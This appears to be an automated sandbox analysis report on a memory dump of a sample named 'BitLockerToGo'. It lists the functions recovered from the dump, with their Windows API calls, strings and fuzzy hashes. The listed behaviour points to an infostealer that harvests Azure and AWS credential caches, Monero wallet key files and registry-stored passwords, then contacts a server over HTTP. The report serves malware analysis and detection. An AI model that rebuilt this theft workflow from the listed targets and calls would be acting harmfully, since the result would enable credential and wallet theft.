Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcat$Filememset$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 4017274736-974132213
Opcode ID: 384915a6bfe26af6c1a32566c55a547ec5e23b6f7a4fb51315701b064f6590a2
Instruction ID: e84adf851cc358b66c91000e6649acfa696dc3152cb9f104513489b7c2e8abdd
Opcode Fuzzy Hash: 384915a6bfe26af6c1a32566c55a547ec5e23b6f7a4fb51315701b064f6590a2
Instruction Fuzzy Hash: 0441C6B594031467EB15F770DC4EFED7739AB14700F404894BA4AA6080EEB49B99CFA2

Function 02754880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0276A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0276A7E6

Part of subcall function 027547B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 027547EA
Part of subcall function 027547B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 02754801
Part of subcall function 027547B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 02754818
Part of subcall function 027547B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 02754839
Part of subcall function 027547B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 02754849

Part of subcall function 0276A740: lstrcpy.KERNEL32(02770AEF,00000000), ref: 0276A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 02754915
StrCmpCA.SHLWAPI(?,029E4B88), ref: 0275493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 02754ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,02770DDB,00000000,?,?,00000000,?,",00000000,?,029E4CA8), ref: 02754DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 02754E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 02754E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 02754E49
InternetCloseHandle.WININET(00000000), ref: 02754EAD
InternetCloseHandle.WININET(00000000), ref: 02754EC5
HttpOpenRequestA.WININET(00000000,029E4CC8,?,029E5F38,00000000,00000000,00400100,00000000), ref: 02754B15

Part of subcall function 0276A9B0: lstrlen.KERNEL32(?,02771110,?,00000000,02770AEF), ref: 0276A9C5
Part of subcall function 0276A9B0: lstrcpy.KERNEL32(00000000), ref: 0276AA04
Part of subcall function 0276A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0276AA12

Part of subcall function 0276A8A0: lstrcpy.KERNEL32(?,02770AEF), ref: 0276A905

Part of subcall function 0276A920: lstrcpy.KERNEL32(00000000,?), ref: 0276A972
Part of subcall function 0276A920: lstrcat.KERNEL32(00000000), ref: 0276A982

InternetCloseHandle.WININET(00000000), ref: 02754ECF

Strings

------, xrefs: 02754B28
------, xrefs: 02754C69
", xrefs: 02754D33
", xrefs: 02754BF2
------, xrefs: 027549BD

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$??2@CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 2402878923-2180234286
Opcode ID: f13af41c43e85e601160fce43782e634ee98cd02e5e9eb6c828ff1ae0d071628
Instruction ID: 7ba851919484668b4bc4415554ab7044787d7bc0f5ee97bffdb7e7e2d7bbcc58
Opcode Fuzzy Hash: f13af41c43e85e601160fce43782e634ee98cd02e5e9eb6c828ff1ae0d071628
Instruction Fuzzy Hash: 3612E071910219AADB16EB50DDADFFEB77ABF14300F5041A9A90672490EF702F49CFA4

Function 02768320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0276A740: lstrcpy.KERNEL32(02770AEF,00000000), ref: 0276A788

RegOpenKeyExA.KERNEL32(00000000,029E30F8,00000000,00020019,00000000,027705B6), ref: 027683A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 02768426
wsprintfA.USER32 ref: 02768459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0276847B
RegCloseKey.ADVAPI32(00000000), ref: 0276848C
RegCloseKey.ADVAPI32(00000000), ref: 02768499

Part of subcall function 0276A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0276A7E6

Strings

%s\%s, xrefs: 0276844D
?, xrefs: 0276837A
- , xrefs: 027685A3

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 99ce00f7fbd6b7568b18a69e1bb43b88aed426a39e82b62fbb003104cc2563ba
Instruction ID: 650dd176cb1e14e088d68efefc9e7c3a38d83895e713980152b0e798f82a45c8
Opcode Fuzzy Hash: 99ce00f7fbd6b7568b18a69e1bb43b88aed426a39e82b62fbb003104cc2563ba
Instruction Fuzzy Hash: 91811AB1910218ABEB25DB54CD99FFAB7B9FF08710F008698E509A6140DF716B89CFD0

Function 02765510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0276A820: lstrlen.KERNEL32(00000000,?,?,02765B54,02770ADB,02770ADA,?,?,02766B16,00000000,?,029D0578,?,0277110C,?,00000000), ref: 0276A82B
Part of subcall function 0276A820: lstrcpy.KERNEL32(02770AEF,00000000), ref: 0276A885

Part of subcall function 0276A740: lstrcpy.KERNEL32(02770AEF,00000000), ref: 0276A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 02765644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 027656A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 02765857

Part of subcall function 0276A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0276A7E6

Part of subcall function 027651F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 02765228

Part of subcall function 0276A8A0: lstrcpy.KERNEL32(?,02770AEF), ref: 0276A905

Part of subcall function 027652C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 02765318
Part of subcall function 027652C0: lstrlen.KERNEL32(00000000), ref: 0276532F
Part of subcall function 027652C0: StrStrA.SHLWAPI(00000000,00000000), ref: 02765364
Part of subcall function 027652C0: lstrlen.KERNEL32(00000000), ref: 02765383
Part of subcall function 027652C0: strtok.MSVCRT(00000000,?), ref: 0276539E
Part of subcall function 027652C0: lstrlen.KERNEL32(00000000), ref: 027653AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0276578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 02765940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 02765A0C
Sleep.KERNEL32(0000EA60), ref: 02765A1B

Strings

ERROR, xrefs: 02765849
ERROR, xrefs: 02765932
ERROR, xrefs: 0276577D
ERROR, xrefs: 02765693
ERROR, xrefs: 02765636
ERROR, xrefs: 027659FE

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleepstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3630751533-2791005934
Opcode ID: 99ac1b2a46ca4b19aaf8ffcbcb0cfe8408b113731c2ee8a3b23afbeb55528fec
Instruction ID: 67d9966a91326060664ee600b64348f3db4d61798e350b54bc101b96c68f3743
Opcode Fuzzy Hash: 99ac1b2a46ca4b19aaf8ffcbcb0cfe8408b113731c2ee8a3b23afbeb55528fec
Instruction Fuzzy Hash: 14E13E71910105AADB16FBA4DC9EAFD737AAF54300F808528AD0676590EF346A19CFE1

Function 02751310 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 02751327

Part of subcall function 027512A0: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 027512B4
Part of subcall function 027512A0: RtlAllocateHeap.NTDLL(00000000), ref: 027512BB
Part of subcall function 027512A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 027512D7
Part of subcall function 027512A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 027512F5
Part of subcall function 027512A0: RegCloseKey.ADVAPI32(?), ref: 027512FF

lstrcat.KERNEL32(?,00000000), ref: 0275134F
lstrlen.KERNEL32(?), ref: 0275135C
lstrcat.KERNEL32(?,.keys), ref: 02751377

Part of subcall function 0276A740: lstrcpy.KERNEL32(02770AEF,00000000), ref: 0276A788

Part of subcall function 0276A9B0: lstrlen.KERNEL32(?,02771110,?,00000000,02770AEF), ref: 0276A9C5
Part of subcall function 0276A9B0: lstrcpy.KERNEL32(00000000), ref: 0276AA04
Part of subcall function 0276A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0276AA12

Part of subcall function 0276A8A0: lstrcpy.KERNEL32(?,02770AEF), ref: 0276A905

Part of subcall function 02768B60: GetSystemTime.KERNEL32(?,029D9928,027705AE,?,?,?,?,?,?,?,?,?,02754963,?,00000014), ref: 02768B86

Part of subcall function 0276A920: lstrcpy.KERNEL32(00000000,?), ref: 0276A972
Part of subcall function 0276A920: lstrcat.KERNEL32(00000000), ref: 0276A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 02751465

Part of subcall function 0276A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0276A7E6

Part of subcall function 027599C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 027599EC
Part of subcall function 027599C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 02759A11
Part of subcall function 027599C0: LocalAlloc.KERNEL32(00000040,?), ref: 02759A31
Part of subcall function 027599C0: ReadFile.KERNEL32(000000FF,?,00000000,027602E7,00000000), ref: 02759A5A
Part of subcall function 027599C0: LocalFree.KERNEL32(027602E7), ref: 02759A90
Part of subcall function 027599C0: CloseHandle.KERNEL32(000000FF), ref: 02759A9A

DeleteFileA.KERNEL32(00000000), ref: 027514EF
memset.MSVCRT ref: 02751516

Strings

wallet_path, xrefs: 02751330
SOFTWARE\monero-project\monero-core, xrefs: 02751335
.keys, xrefs: 0275136B
\Monero\wallet.keys, xrefs: 0275138D

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlenmemset$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3885987321-218353709
Opcode ID: cb737d0f76f19a8eb7040aabf0552544ff8678284be2078198e12fa8e1fa2a9a
Instruction ID: f291a7ab329d791f9d6810d920f9504fa8a6362e7b9a807910e92ab8ce27607d
Opcode Fuzzy Hash: cb737d0f76f19a8eb7040aabf0552544ff8678284be2078198e12fa8e1fa2a9a
Instruction Fuzzy Hash: 305111B1D5021997DB16FB60DD99FFD737DAB54300F4045A8AA0A72080EE706B89CFA5

Function 027575D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 027572D0: memset.MSVCRT ref: 02757314
Part of subcall function 027572D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,02757C90), ref: 0275733A
Part of subcall function 027572D0: RegEnumValueA.ADVAPI32(02757C90,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 027573B1
Part of subcall function 027572D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0275740D
Part of subcall function 027572D0: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,02757C90,80000001,027661C4,?,?,?,?,?,02757C90,?), ref: 02757452
Part of subcall function 027572D0: HeapFree.KERNEL32(00000000,?,?,?,?,02757C90,80000001,027661C4,?,?,?,?,?,02757C90,?), ref: 02757459

lstrcat.KERNEL32(2EE56020,027717FC), ref: 02757606
lstrcat.KERNEL32(2EE56020,00000000), ref: 02757648
lstrcat.KERNEL32(2EE56020, : ), ref: 0275765A
lstrcat.KERNEL32(2EE56020,00000000), ref: 0275768F
lstrcat.KERNEL32(2EE56020,02771804), ref: 027576A0
lstrcat.KERNEL32(2EE56020,00000000), ref: 027576D3
lstrcat.KERNEL32(2EE56020,02771808), ref: 027576ED
task.LIBCPMTD ref: 027576FB

Strings

: , xrefs: 0275764E

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: a87fb90ae3ddd568bc04a4f8ccd2a4bb255ec5174c6cb13def75b00999e328c1
Instruction ID: 9791ac572a6fb2eb988647ad6deeb8ec8d2928f09b268064ecac0945bef8e2ae
Opcode Fuzzy Hash: a87fb90ae3ddd568bc04a4f8ccd2a4bb255ec5174c6cb13def75b00999e328c1
Instruction Fuzzy Hash: D0315AB2D44109DFCB09EBB8DC89DFFB7B9FB44311B104518E502A7240DA74A952CFA1

Function 027572D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 02757314
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,02757C90), ref: 0275733A
RegEnumValueA.ADVAPI32(02757C90,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 027573B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0275740D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,02757C90,80000001,027661C4,?,?,?,?,?,02757C90,?), ref: 02757452
HeapFree.KERNEL32(00000000,?,?,?,?,02757C90,80000001,027661C4,?,?,?,?,?,02757C90,?), ref: 02757459

Part of subcall function 02759240: vsprintf_s.MSVCRT ref: 0275925B

task.LIBCPMTD ref: 02757555

Strings

Password, xrefs: 02757401

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: b9abc30520d870721c99b9e233fc744bf8acfef4970547e80d2448682bef7cbf
Instruction ID: 4eb3b973da881e95cf6bde7840ab58168dcb8264ea50fdcc229015c7d81c90af
Opcode Fuzzy Hash: b9abc30520d870721c99b9e233fc744bf8acfef4970547e80d2448682bef7cbf
Instruction Fuzzy Hash: 7A611CB5D402689BDB25DB50CC55BEAF7B9FF44300F0081E9EA89A6140DBB15BC9CFA1

Function 02767500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 02767542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0276757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 02767603
RtlAllocateHeap.NTDLL(00000000), ref: 0276760A
wsprintfA.USER32 ref: 02767640

Part of subcall function 0276A740: lstrcpy.KERNEL32(02770AEF,00000000), ref: 0276A788

Strings

C, xrefs: 0276754C
\, xrefs: 02767560
:, xrefs: 0276755C

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
